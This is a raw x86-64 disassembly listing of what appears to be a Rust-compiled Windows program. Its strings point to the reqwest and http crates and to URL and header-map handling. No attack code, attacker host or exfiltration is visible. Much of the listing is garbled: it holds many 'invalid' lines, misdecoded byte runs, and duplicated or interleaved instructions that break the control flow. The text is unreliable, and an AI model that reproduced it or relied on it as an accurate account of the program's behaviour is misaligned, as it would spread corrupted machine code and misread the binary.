lock inc qword [r15]
jle 0x14005a472
mov r8, qword [rsp + 0x190]
mov qword [r8], r13
mov qword [r8 + 8], r12
mov rcx, qword [rsp + 0x4c0]
mov qword [r8 + 0x20], rcx
movaps xmm0, xmmword [rsp + 0x4b0]
movups xmmword [r8 + 0x10], xmm0
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmm1, xmmword [rsp + 0x1e0]
movaps xmm2, xmmword [rsp + 0x1f0]
movaps xmm3, xmmword [rsp + 0x200]
movups xmmword [r8 + 0x28], xmm0
movups xmmword [r8 + 0x38], xmm1
movups xmmword [r8 + 0x48], xmm2
movups xmmword [r8 + 0x58], xmm3
movaps xmm0, xmmword [rsp + 0x210]
movups xmmword [r8 + 0x68], xmm0
movaps xmm0, xmmword [rsp + 0x220]
movups xmmword [r8 + 0x78], xmm0
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm1, xmmword [rsp + 0x260]
movaps xmm2, xmmword [rsp + 0x270]
movaps xmm3, xmmword [rsp + 0x280]
movups xmmword [r8 + 0x98], xmm1
movups xmmword [r8 + 0xa8], xmm2
movups xmmword [r8 + 0xb8], xmm3
movaps xmm1, xmmword [rsp + 0x290]
movups xmmword [r8 + 0xc8], xmm1
mov rcx, qword [rsp + 0x2a0]
mov qword [r8 + 0xd8], rcx
movups xmmword [r8 + 0x88], xmm0
mov qword [r8 + 0xe0], 0
mov qword [r8 + 0xe8], 8
mov qword [r8 + 0xf0], 0
movzx ecx, byte [rsp + 0x2e]
mov byte [r8 + 0xf8], cl
mov ecx, dword [rsp + 0x88]
mov edx, dword [rsp + 0x8b]
mov dword [r8 + 0xfc], edx
mov dword [r8 + 0xf9], ecx
mov rcx, qword [rsp + 0x188]
mov qword [r8 + 0x100], rcx
mov rcx, qword [rsp + 0x60]
mov qword [r8 + 0x108], rcx
mov qword [r8 + 0x110], r15
mov qword [r8 + 0x118], rsi
mov qword [r8 + 0x120], rdi
mov qword [r8 + 0x128], 0
mov qword [r8 + 0x130], rax
jmp 0x1400589f4
jne 0x140059bb3
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x8b]
mov dword [rsp + 0x19b], ecx
mov dword [rsp + 0x198], eax
movzx edi, byte [rsp + 0x60]
mov rsi, qword [rsp + 0x188]
jmp 0x140059548
movdqu xmm6, xmmword [0x140143660]
movdqa xmmword [rsp + 0xa0], xmm6
movdqu xmm7, xmmword [0x140143650]
movdqa xmmword [rsp + 0x90], xmm7
mov rsi, qword [rsp + 0x1f8]
test rsi, rsi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rbp
je 0x140059cea
lea rcx, [rsp + 0x1d0]
lea rdx, [rsp + 0x90]
call fcn.140038000
mov ebp, eax
movzx r15d, word [rsp + 0x228]
mov ebx, ebp
and ebx, r15d
mov r13, qword [rsp + 0x220]
mov r12, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x218]
mov r9, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x70], al
mov r8, qword [rsp + 0xa0]
xor r14d, r14d
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x180], r9
mov qword [rsp + 0x178], rdx
jmp 0x140059bfd
cmp qword [rsp + 0x60], 0
je 0x140059f7b
js 0x14005a48c
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, qword [rsp + 0x60]
call fcn.1400df910
test rax, rax
je 0x14005a491
mov rsi, rax
jmp 0x140059f80
movzx ecx, byte [rsp + 0x70]
cmp byte [rax + 8], cl
je 0x140059f62
inc r14
inc rbx
mov rax, rbx
mov rbx, rax
mov eax, 0
cmp rbx, r13
jae 0x140059c00
movzx ecx, word [rdi + rbx*4]
cmp rcx, 0xffff
je 0x140059cc5
movzx eax, word [rdi + rbx*4 + 2]
mov r11d, eax
and r11d, r15d
mov r10d, ebx
sub r10d, r11d
and r10d, r15d
cmp r14, r10
ja 0x140059cc5
cmp ax, bp
jne 0x140059bf7
cmp rsi, rcx
jbe 0x14005a3a8
test r9, r9
sete r11b
imul rax, rcx, 0x68
mov rcx, qword [r12 + rax + 0x40]
test rcx, rcx
setne r10b
cmp r10b, r11b
je 0x140059bf7
add rax, r12
add rax, 0x40
test rcx, rcx
je 0x140059be9
cmp qword [rax + 0x10], r8
jne 0x140059bf7
mov rcx, qword [rax + 8]
mov rsi, r8
call fcn.140106bb0
mov rdx, qword [rsp + 0x178]
mov r8, rsi
mov r9, qword [rsp + 0x180]
mov rsi, qword [rsp + 0x50]
test eax, eax
jne 0x140059bf7
test r9, r9
je 0x140059f62
lea rcx, [rsp + 0xa8]
call qword [r9 + 0x10]
jmp 0x140059f62
test r9, r9
mov r15, qword [rsp + 0x48]
je 0x140059cdb
lea rcx, [rsp + 0xa8]
call qword [r9 + 0x10]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rcx, qword [r15 + 0x1b0]
mov ecx, dword [rdi + 0x1b0]
mov rax, qword [rcx + 0x20]
test rax, rax
je case.0x14005a02d.2
mov r14, qword [rcx + 0x18]
mov esi, dword [rcx + 0x18]
mov rcx, rax
shl rcx, 7
lea rax, [rcx + rax*8]
add rax, r14
mov qword [rsp + 0x70], rax
lea rsi, [0x140178498]
pcmpeqd xmm8, xmm8
jmp 0x140059d73
lea eax, [rsp + 0x2d0]
call fcn.14005af00
cmp dword [rsp + 0x90], 2
jne 0x140059fb8
add r14, 0x88
cmp r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x48]
jl 0x140059d81
mov r12, qword [rsp + 0x40]
jl 0x140059d81
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
je case.0x14005a02d.2
mov rax, qword [r14]
movsxd rax, dword [rsi + rax*4]
invalid
add al, 0x86
add rax, rsi
jmp rax
invalid
test byte [rax + rdx*8], ah
add al, byte [rax]
add byte [rax + rax*8 + 0x6e5840f], al
invalid
test ch, ah
in eax, 6
je 0x14005a474
in eax, 6
add byte [rax], al
cmp al, 2
jne 0x140059f0f
mov rax, qword [rsp + 0x2d8]
add byte [rax], al
cmp qword [rax + 0x10], 4
jne 0x140059d4d
mov rax, qword [rax + 8]
jmp 0x140059f24
test byte [rax + rdx*8], ah
add al, byte [rax]
add byte [rax + rax*8 + 0x6b5840f], al
add byte [rax], al
cmp al, 2
jne 0x140059e09
mov rax, qword [rsp + 0x2d8]
mov rbp, qword [rax + 8]
mov r15, qword [rax + 0x10]
jmp 0x140059e2e
xor r15d, r15d
cmp byte [rsp + 0x2d1], 0
sete r15b
lea rbp, [0x140172e47]
lea rax, [0x140172e43]
cmove rbp, rax
xor r15, 5
mov rax, qword [r14 + 8]
mov qword [rsp + 0x50], rax
cmp qword [rax + 0x28], 0
je 0x140059d4d
mov rsi, qword [rsp + 0x50]
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov qword [rsp + 0x180], rcx
mov qword [rsp + 0x178], rdx
mov r8, rbp
mov r9, r15
call fcn.1400522c0
mov rbx, rax
mov rdi, qword [rsi + 0x10]
mov r12, qword [rsi + 0x18]
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm9, xmm0, 0
xor r13d, r13d
and rbx, r12
movdqu xmm10, xmmword [rdi + rbx]
movdqa xmm0, xmm10
pcmpeqb xmm0, xmm9
pmovmskb esi, xmm0
test esi, esi
jne 0x140059edc
pcmpeqb xmm10, xmm8
pmovmskb eax, xmm10
test eax, eax
lea rsi, [0x140178498]
jne 0x140059d4d
add rbx, r13
add rbx, 0x10
add r13, 0x10
jmp 0x140059e8f
lea eax, [rsi - 1]
and eax, esi
mov esi, eax
test ax, ax
je 0x140059eaa
tzcnt eax, esi
add rax, rbx
and rax, r12
neg rax
imul rax, rax, 0x68
cmp qword [rdi + rax - 0x58], r15
jne 0x140059ed0
add rax, rdi
mov rdx, qword [rax - 0x60]
mov rcx, rbp
mov r8, r15
call fcn.140106bb0
test eax, eax
jne 0x140059ed0
jmp 0x14005a05f
cmp byte [rsp + 0x2d1], 0
lea rax, [0x140172e43]
jne 0x140059d4d
cmp dword [rax], 0x70747468
jne 0x140059d4d
jmp case.0x140051497.18
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
jmp case.0x14005a02d.2
mov esi, 1
mov rcx, rsi
mov rdx, qword [rsp + 0x188]
mov rdi, qword [rsp + 0x60]
mov r8, rdi
call fcn.140106530
jmp 0x140059548
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rdi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
call fcn.1401085b0
cmp byte [rsp + 0xd8], 2
je case.default.0x14005a02d
lea rcx, [rsp + 0xd0]
mov rax, qword [rsp + 0xb8]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc8
add byte [rax], al
add bh, bh
push rax
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc8
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
lea rcx, [rsp + 0xb0]
mov rax, qword [rsp + 0x98]
invalid
invalid
lea rcx, [rsp + 0xb0]
mov rax, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa8
add byte [rax], al
add bh, bh
push rax
adc byte [rcx - 0x75], cl
invalid
lea rcx, [0x1401784ac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
jmp rax
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa8
add byte [rax], al
add bh, bh
push rax
adc byte [rcx - 0x75], cl
invalid
lea r8, [0x140172e43]
mov r9d, 4
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x178]
call fcn.1400522c0
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x18]
mov r8, rax
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r8d, r8d
pcmpeqd xmm1, xmm1
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
and rax, rdx
movdqu xmm2, xmmword [rcx + rax]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r9d, xmm3
test r9d, r9d
jne 0x14005a10c
pcmpeqb xmm2, xmm1
pmovmskb r9d, xmm2
test r9d, r9d
jne case.0x14005a02d.2
add rax, r8
add rax, 0x10
add r8, 0x10
jmp 0x14005a0c3
lea r10d, [r9 - 1]
and r10d, r9d
mov r9d, r10d
test r10w, r10w
je 0x14005a0dd
tzcnt r10d, r9d
add r10, rax
and r10, rdx
neg r10
imul r10, r10, 0x68
cmp qword [rcx + r10 - 0x58], 4
jne 0x14005a0fc
add r10, rcx
mov r11, qword [r10 - 0x60]
cmp dword [r11], 0x70747468
jne 0x14005a0fc
cmp byte [r10 - 8], 2
je case.0x14005a02d.2
lea rsi, [r10 - 8]
lea rdx, [r10 - 0x10]
mov rax, qword [r10 - 0x28]
mov r8, qword [r10 - 0x20]
mov r9, qword [r10 - 0x18]
lea rcx, [rsp + 0x330]
call qword [rax]
movzx ebx, byte [rsi]
movups xmm0, xmmword [rsp + 0x330]
movups xmm1, xmmword [rsp + 0x340]
movaps xmmword [rsp + 0x490], xmm1
movaps xmmword [rsp + 0x480], xmm0
mov byte [rsp + 0x4a0], bl
mov eax, dword [rsp + 0x1b0]
mov ecx, dword [rsp + 0x1b3]
mov dword [rsp + 0x4a1], eax
mov dword [rsp + 0x4a4], ecx
movdqa xmmword [rsp + 0x390], xmm6
movdqa xmmword [rsp + 0x380], xmm7
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x1d0]
lea r8, [rsp + 0x380]
lea r9, [rsp + 0x480]
call fcn.14004ec10
cmp byte [rsp + 0xb0], 3
je 0x14005a4a0
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x3a0], rax
movdqu xmm0, xmmword [rsp + 0x90]
add bl, dh
movq mm1, qword [rsp + 0xa0]
add bl, dh
movq mm1, qword [rsp + 0xa0]
movdqa xmmword [rsp + 0x390], xmm1
movdqa xmmword [rsp + 0x380], xmm0
movq qword [rsp + 0x380], mm0
movq qword [rsp + 0x380], mm0
cmp al, 2
je case.0x14005a02d.2
lea rcx, [rsp + 0x398]
mov rax, qword [rsp + 0x380]
mov rdx, qword [rsp + 0x388]
mov byte [rbx], al
add byte [rax], al
cwde
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x88
mov byte [rbx], al
add byte [rax], al
mov r8, qword [rsp + 0x390]
call qword [rax + 0x10]
invalid
invalid
mov byte [rbx], al
add byte [rax], al
mov r8, qword [rsp + 0x390]
call qword [rax + 0x10]
jmp case.0x14005a02d.2
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
cmp byte [r14 + 0x50], 2
je case.0x14005a02d.2
lea rsi, [r14 + 0x50]
lea rdx, [r14 + 0x48]
mov rax, qword [r14 + 0x30]
mov r8, qword [r14 + 0x38]
mov r9, qword [r14 + 0x40]
jmp 0x14005a155
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rdx, rsi
call fcn.1401085b0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
jmp 0x14005a3c7
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013f8e8]
lea r8, [rsp + 0x68]
mov edx, 0x17
call fcn.1401088e0
mov ecx, 8
mov edx, 0x70
call fcn.1401082c0
mov qword [rsp + 0x90], rbp
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x90]
call fcn.14005b7d0
mov byte [rsp + 0x90], dil
mov byte [rsp + 0x91], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.valid_request_parts
lea r9, [0x14013f948]
lea r8, [rsp + 0x90]
mov edx, 0x13
call fcn.1401088e0
ud2
lea rcx, str.Uri_should_have_a_schemeXC
lea r8, [0x140144488]
mov edx, 0x18
call fcn.140108990
call fcn.140010970
mov ecx, 1
mov rdx, qword [rsp + 0x60]
call fcn.1401082a0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
jmp 0x14005a3c7
xor ebp, ebp
jmp 0x14005a848
cmp bpl, 3
jne 0x14005a848
mov r15, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
test r14, r14
je 0x14005a890
js 0x14005adcd
movzx eax, byte [0x140182310]
in eax, 0x7a
adc al, byte [rax]
xor ecx, ecx
mov rdx, r14
call fcn.1400df910
test rax, rax
je 0x14005adc0
mov rbx, rax
mov qword [rsp + 0x28], rsi
jmp 0x14005a89a
mov byte [rsi], bpl
mov byte [rsi + 1], r12b
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r9
mov qword [rsi + 0x18], rbx
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rsi + 0x20], xmm0
mov qword [rsi + 0x30], rax
mov qword [rsi + 0x38], r15
mov qword [rsi + 0x40], rdx
mov qword [rsi + 0x48], r8
mov word [rsi + 0x50], cx
mov eax, dword [rsp + 0x58]
mov dword [rsi + 0x52], eax
movzx eax, word [rsp + 0x5c]
mov word [rsi + 0x56], ax
jmp 0x14005a967
mov qword [rsp + 0x28], rsi
mov ebx, 1
mov rcx, rbx
mov rdx, r15
mov r8, r14
call fcn.140106530
movups xmm6, xmmword [rdi + 0x2c]
lea r15, [rdi + 0x40]
movzx eax, word [rdi + 0x28]
mov word [rsp + 0x5e], ax
movzx r13d, word [rdi + 0x2a]
mov eax, dword [rdi + 0x3c]
mov dword [rsp + 0xac], eax
mov esi, dword [rdi + 0x18]
mov rax, rdi
mov edi, dword [rdi + 0x1c]
mov ebp, dword [rax + 0x20]
mov r12d, dword [rax + 0x24]
lea rcx, str.Parsed_Url_is_not_a_valid_Urioperation_timed_outURL_scheme_is_not_allowedBuilderRequestRedirectStatus
mov edx, 0x1d
call fcn.140052180
mov rcx, qword [rax]
shl rcx, 1
test rcx, rcx
je 0x14005a917
mov r8, qword [rax + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov qword [rsp + 0x108], rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x108]
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], esi
mov dword [rax + 0x1c], edi
mov dword [rax + 0x20], ebp
mov dword [rax + 0x24], r12d
movzx ecx, word [rsp + 0x5e]
mov word [rax + 0x28], cx
mov word [rax + 0x2a], r13w
movups xmmword [rax + 0x2c], xmm6
mov ecx, dword [rsp + 0xac]
mov dword [rax + 0x3c], ecx
movups xmm0, xmmword [r15]
movups xmmword [rax + 0x40], xmm0
movzx ecx, byte [r15 + 0x10]
mov byte [rax + 0x50], cl
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
mov byte [rcx], 3
movaps xmm6, xmmword [rsp + 0x130]
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
and al, 0x40
and al, 0x40
mov rbx, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
test r12, r12
je 0x14005aa19
insd dword [rdi], dx
insd dword [rdi], dx
lea rcx, [rsp + 0xc0]
mov rdx, rbx
mov r8, r12
call fcn.140032240
cmp byte [rsp + 0xc0], 0
add byte [rax], al
add byte [rbp + 0x50], dh
add byte [rax], al
add byte [rbp + 0x50], dh
cmp qword [rsp + 0xc8], r12
jne 0x14005aa19
add byte [rbp + 0x46], dh
mov r9, qword [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
movaps xmmword [rsp + 0xe0], xmm0
test r9, r9
add byte [rbp - 0x7b], cl
leave
je 0x14005a824
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [0x14012a078]
mov cx, 0xffff
mov ecx, 0xbf41ffff
add dword [rax], eax
add byte [rax], al
invalid
mov ecx, 0xbf41ffff
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx], dh
rol byte [rbp + 0x31], cl
shr cl, 0x83
cld
invalid
xor edx, edx
xor r8d, r8d
jmp 0x14005a69c
mov rax, qword [rsp + 0x30]
lea rcx, [rsp + 0x48]
mov rdx, rbx
mov r8, r12
call qword [rax + 0x10]
jmp 0x14005a824
add byte [rdi], cl
mov dh, 5
add bh, byte [rax + 0x12]
add byte [rdx + 0x20], bh
xor ecx, ecx
call fcn.1400df910
or byte [r8], r8b
or byte [r8], r8b
test rax, rax
je 0x14005ade4
mov r14, rax
movaps xmm0, xmmword [rsp + 0x110]
movaps xmm1, xmmword [rsp + 0x120]
mov word [rax + riz], fs
add dword [rax], eax
add byte [rdi], cl
adc dword [rax + 0x10], ecx
mov word [rax + riz], fs
add dword [rax], eax
add byte [rdi], cl
adc dword [rax + 0x10], ecx
movups xmmword [rax], xmm0
mov bpl, 2
xor r13d, r13d
add byte [rax - 0x4b], al
add al, byte [rbp + 0x31]
in eax, dx
mov dword [rsp + 0x28], 0
jmp 0x14005ab58
sub byte [rax], al
add byte [rax], al
add bl, ch
or eax, dword [rcx - 0x4b]
add dword [rcx], esi
xor ebp, ebp
xor ebp, ebp
mov al, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r15
call fcn.140032240
cmp byte [rsp + 0x30], 0
je 0x14005abbd
movzx r13d, byte [rsp + 0x31]
movzx ebp, byte [rsp + 0x31]
cmp byte [rsp + 0x28], 0
jne 0x14005acde
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
jmp 0x14005acde
mov r8, qword [rsp + 0x38]
test r13b, r13b
je 0x14005ac03
mov r13b, 4
cmp r8, r15
jne 0x14005acde
lea rax, [rsp + 0x70]
mov r9, qword [rsp + 0x60]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [0x14012a078]
mov cx, 0xffff
mov r15d, 1
xor edx, edx
xor r8d, r8d
jmp 0x14005a80b
test r8, r8
je 0x14005acd0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x60]
call fcn.140012340
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xc0]
call fcn.1400332b0
mov rax, qword [rsp + 0x30]
movzx r13d, byte [rsp + 0x38]
test rax, rax
je 0x14005acfc
movzx r10d, r13b
movzx ecx, byte [rsp + 0x3f]
shl ecx, 0x10
movzx r11d, word [rsp + 0x3d]
or r11d, ecx
mov r15d, dword [rsp + 0x39]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
movzx ecx, word [rsp + 0x50]
mov r9d, dword [rsp + 0x52]
mov dword [rsp + 0x58], r9d
movzx r9d, word [rsp + 0x56]
mov word [rsp + 0x5c], r9w
mov r9, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0xe8]
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xb0], xmm0
shl r11, 0x28
shl r15, 8
or r15, r11
or r15, r10
jmp 0x14005a80b
mov r13b, 4
cmp byte [rsp + 0x28], 0
je 0x14005ab8a
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x78]
mov rdx, rbx
mov r8, r15
call qword [rax + 0x10]
mov bpl, 3
mov r12d, r13d
jmp 0x14005a80b
lea rcx, [rsp + 0xf8]
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
call qword [rax + 0x10]
mov bpl, 3
cmp byte [rsp + 0x28], 0
jne 0x14005acf4
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14005acf4
mov ecx, 1
mov rdx, r14
call fcn.1401082a0
call fcn.140010970
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rsp
mov rdx, r8
mov r8, rax
call fcn.140108810
mov ecx, 8
mov edx, 0x20
call fcn.1401082c0
int3
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add cl, ch
rol byte [rax], 0
add byte [rcx + 0x27], bh
cmp ax, 0x64
jb 0x14005b140
shr edx, 2
imul edx, edx, 0x147b
shr edx, 0x11
imul ecx, edx, 0x64
sub eax, ecx
movzx eax, ax
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov word [rsp + 0xe5], ax
mov ecx, 0x25
mov eax, edx
cmp ax, 0xa
jae 0x14005b154
or al, 0x30
mov byte [rsp + rcx + 0xbf], al
dec rcx
jmp 0x14005b16e
movzx eax, ax
lea rdx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rdx + rax*2]
mov word [rsp + rcx + 0xbe], ax
add rcx, 0xfffffffffffffffe
lea rax, [rsp + rcx]
add rax, 0xc0
mov edx, 0x27
sub rdx, rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x40]
mov r8d, 1
mov dl, 1
xor r9d, r9d
call fcn.140012de0
test al, al
jne 0x14005b583
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x40], rax
lea rax, [0x1400e6970]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x1d8]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x70], rax
lea rax, [0x140006d10]
mov qword [rsp + 0x78], rax
lea rax, [0x140144400]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 4
mov qword [rsp + 0xe0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0xd0], rax
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xd8], 4
lea rcx, [rsp + 0x130]
lea rdx, [rsp + 0xc0]
and al, 0xc0
add byte [rax], al
add al, ch
invalid
pop rsp
sti
dec dword [rax - 0x7d]
mov esp, 0xa024
add byte [rax], al
and al, 0xc0
add byte [rax], al
add al, ch
invalid
mov esp, 0xa024
add byte [rax], al
je 0x14005b294
mov r8, qword [rsp + 0xa8]
mov eax, dword [rsp + 0xa8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov r14, qword [rsp + 0x130]
mov rbx, qword [rsp + 0x138]
mov r9, qword [rsp + 0x140]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xe0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xd0], 0
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xc0]
mov r8, rbx
call fcn.1400f6df0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x40], rax
je 0x14005b54b
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x100], xmm0
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmm2, xmmword [rsp + 0x60]
movups xmm3, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0xf0], xmm3
movaps xmmword [rsp + 0xe0], xmm2
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
test r14, r14
je 0x14005b365
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
mov r9, qword [rdi + 8]
mov rcx, qword [r9 + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
lea rdx, [rax + rcx]
add rdx, 0x10
lea rcx, [rsp + 0x130]
lea r8, [rsp + 0xc0]
call qword [r9 + 0x28]
cmp dword [rsp + 0x130], 3
je 0x14005b3f6
movups xmm0, xmmword [rsp + 0x130]
movups xmm1, xmmword [rsp + 0x140]
movups xmm2, xmmword [rsp + 0x150]
movups xmm3, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
mov rbx, qword [rsp + 0x40]
